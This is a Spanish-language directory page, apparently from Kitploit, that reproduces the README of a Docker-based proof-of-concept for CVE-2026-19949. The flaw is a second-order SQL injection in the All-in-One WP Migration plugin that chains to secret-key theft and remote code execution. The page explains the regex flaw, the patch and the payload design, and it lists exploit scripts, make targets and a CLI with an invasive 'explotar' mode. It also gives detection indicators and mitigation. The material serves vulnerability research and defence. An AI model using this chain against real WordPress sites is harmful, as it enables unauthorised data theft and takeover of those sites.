Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC-AIOWPM-CVE-2026-19949 — Reproducible Docker-based proof-of-concept for CVE-2026-19949, a second-order SQL injection in All-in-One WP Migration <= 7.109 that leaks the ai1wm_secret_key via anonymous REST and escalates to remote code execution. | Kitploit
Herramientas/GitHubGitHub/686f6c61/poc-aiowpm-cve-2026-19949
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingLabs & Practice
GitHub686f6c61/poc-aiowpm-cve-2026-19949

POC-AIOWPM-CVE-2026-19949

Reproducible Docker-based proof-of-concept for CVE-2026-19949, a second-order SQL injection in All-in-One WP Migration <= 7.109 that leaks the ai1wm_secret_key via anonymous REST and escalates to remote code execution.

Ver RepositorioSitio web
1hace 7h 48mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-19949 — Prueba de concepto documentada y reproducible en Docker

Inyección SQL de segundo orden no autenticada en All-in-One WP Migration and Backup (WordPress) que escala a filtrado de la ai1wm_secret_key y, con ella, a ejecución remota de código (RCE).

Lee esto en: English · Español

CVECVE-2026-19949
PluginAll-in-One WP Migration and Backup (ServMask), ≤ 7.109
Parche7.110 (20 de agosto de 2026)
CVSS8.8 (Alta) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
RequisitoQue un administrador exporte y restaure el sitio (acción de rutina con este plugin)
InvestigadorJack Taylor (programa de recompensas de Wordfence)

⚠️ Uso exclusivamente educativo y defensivo. Este laboratorio ataca un sitio WordPress que corre en tu propia máquina, dentro de contenedores Docker. No lo uses contra sistemas que no te pertenezcan o para los que no tengas autorización explícita.

Índice

  1. Resumen de la vulnerabilidad
  2. Causa raíz: el regex que voltea la cadena
  3. El parche (7.109 → 7.110)
  4. Cadena de ataque completa
  5. El payload derivado (diseño propio)
  6. Qué reproduce y verifica este repositorio
  7. Compatibilidad de versiones (verificada)
  8. Estructura del repositorio
  9. Requisitos y arranque rápido
  10. Fases paso a paso (objetivos de make)
  11. CLI de demostración
  12. Landing del CVE
  13. Detección y mitigación
  14. Notas de investigación
  15. Referencias
  16. Aviso legal

1. Resumen de la vulnerabilidad

El flujo de exportación/importación del plugin vuelca la base de datos a SQL (database.sql dentro del .wpress) y, al importar, reescribe cada sentencia con Ai1wm_Database::replace_table_values() para sustituir URLs y prefijos de tabla. Para localizar los literales de cadena usa el regex:

root@kitploit:~
// 7.109 (vulnerable) — class-ai1wm-database.php:1637
preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );

El problema está en el negative lookbehind (?<!\\): solo examina un byte antes de cada comilla candidata a cierre, en lugar de contar el run completo de backslashes. En un volcado MySQL, unos datos que terminan en \ se escriben como ...\\' — una comilla de cierre precedida de un número par de backslashes (cadena real terminada en backslash) — pero el regex la cree escapada y sobre-captura el siguiente literal. El callback ejecuta entonces unescape_mysql → replace_serialized_values → escape_mysql sobre el valor sobre-capturado, y ese ciclo re-emite una secuencia de comillas/backslashes desequilibrada que voltea el límite de la cadena MySQL en la sentencia resultante, promoviendo datos del atacante a SQL ejecutable.

2. Causa raíz: el regex que voltea la cadena

Con el trackback plantado (ver §4), la fila en database.sql es:

root@kitploit:~
INSERT INTO `…_comments` VALUES (2,4,'Jack Blogs\\\\','','/*payload*/…','172.18.0.1',…);

El author termina en \ a nivel de datos → el volcado lo escribe como \\ → la comilla de cierre queda precedida de un run par. El regex sobre-captura hasta la comilla de apertura del campo siguiente y el callback re-escapa el conjunto:

root@kitploit:~
'Jack Blogs\\\\','            ← contenido sobre-capturado
unescape → 'Jack Blogs\\','   ← strtr colapsa los pares
escape   → 'Jack Blogs\\\\\', ← una comilla ESCAPADA nueva ha aparecido
salida   → 'Jack Blogs\\\\\','…'  ← el par `\ , '` voltea el límite de la cadena

A partir de ahí, todo lo que seguía en la sentencia se re-tokeniza con la paridad cambiada (datos que eran cadena pasan a ser código y viceversa). El regex parcheado de 7.110 procesa la misma línea y la devuelve idéntica.

Puedes verlo byte a byte, sin explotar nada, con make demo-flip (exploit/04_demo_flip.php), que ejecuta el código REAL del plugin 7.109 y 7.110 sobre la misma línea de volcado.

3. El parche (7.109 → 7.110)

root@kitploit:~
- $input = preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
+ $input = preg_replace_callback( "/'((?:[^'\\\\]++|\\\\.)*+)'/sS", array( $this, 'replace_table_values_callback' ), $input );

El nuevo patrón tokeniza literales MySQL correctamente: o un carácter que no es comilla/backslash, o un par de escape \x, con cuantificadores posesivos. Un run par de backslashes ya no confunde el cierre del literal.

4. Cadena de ataque completa

La cadena publicada por Wordfence (sept. 2026) tiene cuatro pasos:

  1. Plantado (no autenticado) — el atacante envía trackbacks a una entrada pública con pings abiertos (wp-trackback.php?p=<id>). El blog name (→ comment_author) termina en \ y la URL (→ comment_author_url) porta el payload. WordPress los almacena sin tocar la barra. En la variante publicada, el primer trackback actúa de bomba de tiempo: fuerza el corte del pase de importación (límite de 10 s) para que el payload se ejecute en un pase posterior, cuando el importador ya ha restaurado la ai1wm_secret_key del sitio en wp_options (el exportador la excluye del dump; el importador la reescribe entre pases).
  2. Disparo (acción del admin) — un administrador exporta y restaura el sitio. Durante la importación, el regex vulnerable reescribe la fila del trackback: el límite de cadena se voltea y el payload pasa a ser SQL ejecutable.
  3. Filtrado — el payload copia ai1wm_secret_key a un comentario aprobado de tipo comment, visible en la REST API de comentarios sin autenticación.
  4. RCE — admin-ajax.php?action=ai1wm_import está registrado también para usuarios anónimos (wp_ajax_nopriv_ai1wm_import) y su única barrera es ai1wm_verify_secret_key(). Con la clave filtrada, el atacante conduce la cadena de importación con su propio .wpress que incluye un mu-plugin; el paso Ai1wm_Import_Mu_Plugins (prioridad 270 de la cadena) lo extrae a wp-content/mu-plugins/ → ejecución de código en la siguiente carga.

Este repositorio verifica la cadena de principio a fin con un único trackback plantado (la bomba de tiempo no es necesaria en el laboratorio: la fila se ejecuta en un pase posterior al restablecimiento de la clave).

5. El payload derivado (diseño propio)

El exploit exacto del investigador no es público (búsqueda exhaustiva el 2026-09-07: GitHub — los 2 repos existentes son una plantilla vacía y una herramienta masiva con endpoints inexistentes —, Exploit-DB/PacketStorm 0, Sploitus solo indexan esos repos falsos, WPScan sin PoC, foros solo noticias; detalle forense en research/poc-publica/ANALISIS.md).

Lo derivamos nosotros a partir del análisis del mecanismo (exploit/investigacion/). Diseño:

  1. El blog name termina en \ → el lookbehind de un byte del regex vulnerable sobre-captura el literal siguiente y el ciclo unescape→escape voltea el límite de la cadena.
  2. Tras el volteo, la URL del atacante queda como código SQL desnudo en la sentencia INSERT (el comment_author fusionado y un string , absorben el desplazamiento; una coma inicial en la URL restaura el separador estructural devorado).
  3. La URL aporta las 12 expresiones restantes de la tupla con literales hex y /**/ como separadores:
    • una comilla del dato llega al dump como \' y en zona de código dejaría una barra huérfana (error 1064) → de ahí el hex (0x616931776d… = "ai1wm_secret_key");
    • sanitize_url elimina los espacios (y antepone http:// a todo lo que no empiece por /) → de ahí el arranque /*pwn*/ y los /**/;
    • mapeo de columnas: la 5 (comment_author_url) = la subconsulta que lee la clave → la clave acaba en un campo público; la 11 = 0x31 ('1', comentario aprobado); la 13 = 0x636f6d6d656e74 ('comment', visible en la REST anónima);
    • ) cierra la tupla con exactamente 15 valores y # (comentario MySQL sin espacio, que sanitize_url respeta) neutraliza el resto de la sentencia original.
  4. La subconsulta referencia SERVMASK_PREFIX_options: el importador reescribe los prefijos SERVMASK→real antes de la pasada del regex, así que el payload funciona en sitios con cualquier prefijo de tabla (verificado). El único dato específico del objetivo es su URL, portada en el excerpt para disparar el filtro strpos del importador (solo reescribe líneas que la contienen).

La sentencia resultante (la que ejecuta MySQL durante la restauración): comment_author_url = (SELECT option_value FROM <prefijo>_options WHERE option_name='ai1wm_secret_key') — la clave auténtica queda en un campo que la REST API publica sin autenticación.

6. Qué reproduce y verifica este repositorio

Paso de la cadenaEstadoDónde
Instalación vulnerable reproducible (WP 7.1 + plugin 7.109)✅make lab
Plantado no autenticado vía trackback (byte-exacto, auto-aprobado)✅make plant
Export del admin; el dump contiene la fila plantada✅make export
Causa raíz: regex 7.109 voltea el límite de cadena (vs 7.110 intacto)✅make demo-flip
Restauración del admin: el flip reescribe el SQL y corrompe/pierde la fila en 7.109✅make restore
Filtrado de la clave (payload derivado propio) → leak real vía REST sin autenticar✅make leak
RCE: import no autenticada con la clave → mu-plugin ejecutado✅make rce-auto
Control negativo: en 7.110 la fila sobrevive intacta, sin leak✅make control-7110
Matriz WP 7.1 / 7.0.4 / 6.9.4 / 6.8.3: cadena completa ✓ en todas✅research/test-wp-versions.sh
Cadena completa remota (solo HTTP, válida para un dominio real)✅python3 cli/poc.py explotar …

Resultado verificado end-to-end: tras el export+restore del admin, la ai1wm_secret_key auténtica aparece como author_url de un comentario aprobado en GET /wp-json/wp/v2/comments — sin autenticación alguna — y con ella se ejecuta la fase RCE (mu-plugin extraído y ejecutado, marcadores de evidencia en wp-content/). En 7.110 la fila sobrevive intacta (el payload queda como datos inertes) y no hay leak.

La fase de RCE se demuestra además de forma independiente: su única entrada es la clave, que puede pasarse a mano (make rce KEY=…) — el estado exacto del atacante tras el leak.

7. Compatibilidad de versiones (verificada)

Matriz ejecutada con bash research/test-wp-versions.sh 7.0 6.9 6.8 (laboratorio reconstruido por versión, plugin 7.109, payload idéntico):

WordPressplantexportrestoreleakRCE
7.1.0✓✓✓✓✓
7.0.4✓✓✓✓✓
6.9.4✓✓✓✓✓
6.8.3✓✓✓✓✓

La mecánica es estable en todas: sanitize_url respeta el payload, wp_comments conserva las 15 columnas y wp-trackback.php sigue operativo. El payload es independiente del prefijo de tabla (ver §5).

8. Estructura del repositorio

root@kitploit:~
docker-compose.yml          WordPress (php8.2-apache) + MySQL 8; PLUGIN_VERSION y
                            WP_VERSION configurables (7.109 por defecto, 7.110 control)
docker/wordpress/Dockerfile imagen del sitio víctima: wp-cli + plugin de WordPress.org
setup/init.sh               core install, activa el plugin, crea la entrada con pings
                            abiertos, comentarios sin moderación
exploit/                    ← fases numeradas de la PoC
  01_plant_trackback.sh     Fase 1 — trackback malicioso (no autenticado)
  02_export.sh              Fase 2a — export del admin (vía aiowpm_client)
  03_restore.sh             Fase 2b — restauración del admin + ANTES/DESPUÉS de la fila
  04_demo_flip.php          Causa raíz byte a byte: regex 7.109 vs 7.110
  05_build_wpress.py        Construye el .wpress malicioso (package.json + mu-plugin)
  06_rce_unauth.py          Fase 3 — import no autenticada con la clave → RCE
  07_leak_key.sh            Fase 3a — lee la clave filtrada de la REST anónima
  aiowpm_client.py          Cliente del protocolo AJAX del plugin (export/import
                            por prioridades, como su JavaScript)
  wpress.py                 Lector/escritor del formato .wpress (bloques de 4377 B)
  mu_plugin.php             Mu-plugin BENIGNO (marcadores de evidencia, sin shell)
  investigacion/            Arneses y fuzzers con los que se DERIVÓ el payload:
                            harness.php (pipeline real del plugin + MySQL de
                            prueba), afinar/test/fuzzers, NOTAS.md del análisis
cli/poc.py                  CLI de demostración: lab / scan / verificar / explotar
web/index.html              Landing bilingüe del CVE (estilo base de datos de
                            vulnerabilidades; sin dependencias externas)
research/
  test-wp-versions.sh       Matriz de compatibilidad por versión de WordPress
  poc-publica/ANALISIS.md   Refutación forense de las «PoC públicas» falsas
Makefile                    Objetivos: lab, plant, export, restore, demo-flip,
                            leak, rce-auto, full-demo, control-7110, demo-cli…
README.md / README.en.md    Esta documentación (ES/EN)
.gitignore                  Fuera: informes con claves, .wpress generados, zips y
                            fuentes del plugin (terceros), PoC falsas descargadas

Artefactos que se generan al ejecutar y no se comparten (ver .gitignore): informes/ (contienen claves filtradas), exploit/malicious.wpress, plugin-src/ (fuentes 7.109/7.110 extraídas para diff), research/*.zip (zips originales de WordPress.org), research/database.sql, research/backup-legit.wpress y los ficheros de las PoC falsas analizadas.

9. Requisitos y arranque rápido

Requisitos: Docker (con el plugin compose), make, python3 con requests, curl.

root@kitploit:~
make full-demo      # laboratorio completo de cero: lab → plant → export →
                    # restore → flip → leak → rce (todo lo anterior de una vez)

Salida esperada (resumida):

root@kitploit:~
FASE 1   trackback plantado sin autenticar (error 0, comment_approved=1)
FASE 2a  export OK → .wpress en ai1wm-backups/
FASE 2b  restauración: ANTES hay 2 trackbacks → DESPUÉS solo queda el benigno:
         la fila con '\' final se pierde (INSERT reescrito/corrupto en 7.109)
FLIP     regex 7.109: 'Jack Blogs\\\\', → 'Jack Blogs\\\\\','  (límite volteado)
         regex 7.110: la línea sale IDÉNTICA
LEAK     ai1wm_secret_key visible en la REST de comentarios sin autenticar
RCE      import anónima con la clave → /var/www/html/PWNED_CVE_2026_19949.txt
         + wp-content/mu-plugins/pwned.php + option pwned_cve_2026_19949

Acceso al sitio víctima: http://localhost:8080 — admin / admin-password-123 (entrada pública ID 4 con pings y comentarios abiertos).

10. Fases paso a paso (objetivos de make)

root@kitploit:~
make lab             # levantar/inicializar el laboratorio (plugin 7.109)
make plant           # Fase 1 — plantar el trackback (anónimo)
make export          # Fase 2a — exportar como admin
make restore         # Fase 2b — restaurar como admin (muestra ANTES/DESPUÉS)
make demo-flip       # causa raíz: 7.109 vs 7.110 sobre la misma línea
make leak            # Fase 3a — leer la clave filtrada de la REST (anónimo)
make rce KEY=XXXX    # Fase 3 — RCE pasando la clave a mano
make rce-auto        # Fase 3 — RCE encadenado con la clave filtrada
make control-7110    # control negativo con el plugin parcheado
make lab-7109        # volver al laboratorio vulnerable tras el control
make demo-cli        # demo completa vía CLI (+ informe y control negativo)
make scan-cli URL=https://www.ejemplo.com   # detección no invasiva
make landing         # servir la landing del CVE en http://localhost:8090
make status | logs   # estado de contenedores / log de WordPress
make down | clean    # parar / parar y borrar volúmenes y artefactos

11. CLI de demostración

Un solo comando con todos los modos; genera informes en informes/ (texto + JSON; la carpeta está fuera del repositorio porque contiene claves):

root@kitploit:~
python3 cli/poc.py lab            # demo completa en el laboratorio (cadena + control 7.110)
python3 cli/poc.py scan https://www.tudominio.com     # detección NO invasiva (versión del plugin)
python3 cli/poc.py verificar https://www.tudominio.com # ¿clave ya filtrada? (REST anónima)
python3 cli/poc.py explotar https://www.tudominio.com --acepto-responsabilidad \
    --admin-user TU_ADMIN --admin-pass TU_CLAVE --rce   # cadena completa en TU dominio
  • lab levanta el laboratorio, ejecuta la cadena completa y el control negativo con 7.110, y escribe el informe (--sin-control para omitirlo).
  • scan es 100 % pasivo: lee el readme.txt público del plugin, comprueba wp-trackback.php y la REST de comentarios. Devuelve el veredicto.
  • verificar re-comprueba si la clave ya aparece en la REST anónima (p. ej. horas después de plantar, cuando el admin haya hecho su backup+restore).
  • explotar es INVASIVO y exige --acepto-responsabilidad + confirmación interactiva del dominio: planta el trackback, simula al admin (export → descarga del backup → re-subida y restore; solo HTTP, con las credenciales que TÚ proporciones de TU sitio), lee la clave filtrada y, con --rce, deja un marcador benigno vía importación anónima. Sin credenciales de admin: planta y queda a la espera (--esperar para aguantar el leak; --post-id para elegir entrada; --no-interactivo para scripts).

12. Landing del CVE

Página estática bilingüe (ES/EN, conmutador en cabecera, preferencia recordada) que explica el CVE y el payload con estética de base de datos de vulnerabilidades: resumen, cadena, despiece interactivo del payload segmento a segmento, matrices de verificación y mitigación.

root@kitploit:~
make landing          # sirve http://localhost:8090

Sin dependencias externas (ni CDN ni JS de terceros): funciona abriendo web/index.html directamente o con cualquier servidor estático.

13. Detección y mitigación

  • Actualizar All-in-One WP Migration and Backup a ≥ 7.110 (la mitigación es el propio parche del regex).
  • Medidas defensivas adicionales: cerrar wp-trackback.php y pingbacks (opciones de debate / WAF), restringir admin-ajax.php para anónimos cuando sea posible, y monitorizar la aparición de ficheros en wp-content/mu-plugins/ y de la opción ai1wm_secret_key en contextos anómalos (p. ej. comentarios).
  • IOC (con fines de detección): comentarios trackback cuyo comment_author termina en \ o cuyo comment_author_url contiene SELECT/**/, CONCAT(, literales 0x… largos o /*…*/; comentarios aprobados cuyo author_url es una cadena alfanumérica de 12 caracteres sin esquema.

14. Notas de investigación

  • Derivación del payload (exploit/investigacion/): partimos de un arnés (harness.php) que carga las clases REALES del plugin 7.109 y ejecuta el pipeline contra un MySQL de prueba con una clave falsa. Los fuzzers (search_payload.php, fuzz_rows.php, fuzz4.php, bruteforce_author.php) exploraron alfabetos críticos sobre los cuatro campos controlables del trackback; afinar_payload.php ajustó el número de expresiones (N=12) y test_payload_final.php validó el diseño completo. NOTAS.md recoge el análisis, incluidos los muros estructurales (campos fijos del INSERT de wp_comments, sql_mode impuesto por el importador, filtro strpos de la URL del sitio).
  • No hay exploit público real (research/poc-publica/ANALISIS.md): los dos repos de GitHub que afirman tenerlo usan endpoints inexistentes (aio-migration/v1 con permission_callback vs el ai1wm/v1 real), campo de subida equivocado (file vs upload_file), formato ZIP en lugar de .wpress, y una premisa circular. Ninguna fuente terciaria tiene PoC propia.
  • El exploit público de esta PoC se deriva del mecanismo, no se copió de nadie: es una verificación independiente de que la cadena publicada por Wordfence es explotable tal y como se describe.

15. Referencias

  • Wordfence — 5 Million WordPress Sites Affected by SQL Injection Vulnerability in All-in-One WP Migration and Backup WordPress Plugin (septiembre de 2026)
  • Entrada del CVE: https://nvd.nist.gov/vuln/detail/CVE-2026-19949
  • WPScan — All-in-One WP Migration and Backup < 7.110 — Unauthenticated Second-Order SQLi — https://wpscan.com/vulnerability/03fc9f1a-5199-40fa-960d-75a266eb7e95/
  • Parche 7.110: https://downloads.wordpress.org/plugin/all-in-one-wp-migration.7.110.zip (el diff vulnerable→parcheado está en lib/vendor/servmask/database/ class-ai1wm-database.php:1637; las fuentes extraídas viven en plugin-src/, no compartidas)

16. Aviso legal

Este material se publica con fines educativos y defensivos: entender la vulnerabilidad, verificar el parche y construir detecciones. La cadena solo se ha ejecutado contra laboratorios Docker propios. Atacar sistemas de terceros sin autorización escrita es ilegal en la mayoría de jurisdicciones. Si administras sitios afectados: actualiza a ≥ 7.110, rota la ai1wm_secret_key (desactiva/reactiva el plugin o borra la opción para que se regenere) y audita wp-content/mu-plugins/ y los comentarios recientes.

Descargar herramienta